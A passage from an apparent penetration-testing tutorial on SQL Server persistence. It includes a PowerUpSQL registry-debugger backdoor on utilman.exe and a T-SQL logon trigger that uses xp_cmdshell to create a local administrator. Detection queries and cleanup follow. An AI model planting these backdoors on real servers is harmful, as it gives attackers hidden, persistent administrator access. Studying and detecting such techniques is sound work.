Get-SQLPersistRegDebugger -FileName utilman.exe -Command 'c:\windows\system32\cmd.exe' -Instance "<target>"
We can see the modified registry key below:
A trigger is a kind of stored procedure that automatically executes when an event occurs in the SQL server. There are three types of triggers that get executed based on the following SQL statements:
Data Definition Language: CREATE, ALTER, DROP statements.
Data Manipulation Language: INSERT, UPDATE, DELETE statements
Logon Triggers: Executes on a logon event.
We will focus on Logon triggers as DDL & DML triggers execute under the context of the calling user(not necessarily sysadmin) & due to the nature of the statements, may trigger multiple times.
Logon triggers are used to prevent users from logging into SQL Server under defined conditions. For instance, preventing users from logging in after-hours or establishing concurrent sessions. As a result, our trigger would get executed when a specified blocked account attempts to log in.
To abuse this we create a low-privileged backdoor SQL login and configure a logon trigger that binds to this account. Then simply attempting to log in with this account can execute whatever SQL query or operating system command we want.
#Create a backdoor SQL login account
CREATE LOGIN [backdoor_user] WITH PASSWORD = 'Passw0rd1!';
#Create trigger
CREATE Trigger [sneaky_trigger]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'backdoor_user'
EXEC master..xp_cmdshell 'net user backdoor Passw0rd1! /add';
EXEC master..xp_cmdshell 'net localgroup administrators backdoor /add';
END;
#View all triggers
SELECT * FROM sys.server_triggers
#View DDL & Logon triggers with the definition:
SELECT name,
OBJECT_DEFINITION(OBJECT_ID) as trigger_definition,
parent_class_desc,
create_date,
modify_date,
is_ms_shipped,
is_disabled
FROM sys.server_triggers WHERE
OBJECT_DEFINITION(OBJECT_ID) LIKE '%xp_cmdshell%' OR
OBJECT_DEFINITION(OBJECT_ID) LIKE '%powershell%' OR
OBJECT_DEFINITION(OBJECT_ID) LIKE '%sp_addsrvrolemember%'
ORDER BY name ASC
#Cleanup
DROP TRIGGER [sneaky_trigger] on all server
You may like to note that this generates the following error event:
To know more about how to detect this technique, refer NetSPI's blog.
Take-aways
SQL Server misconfigurations are very common and serve excellent targets during Red Teams & Penetration Tests.
PowerUpSQL is very resourceful for auditing & pen-testing activities.
If you're hungry for more and you'd like to see how an SQLi could lead to complete Domain compromise, check out Improsec's blog post!
Comments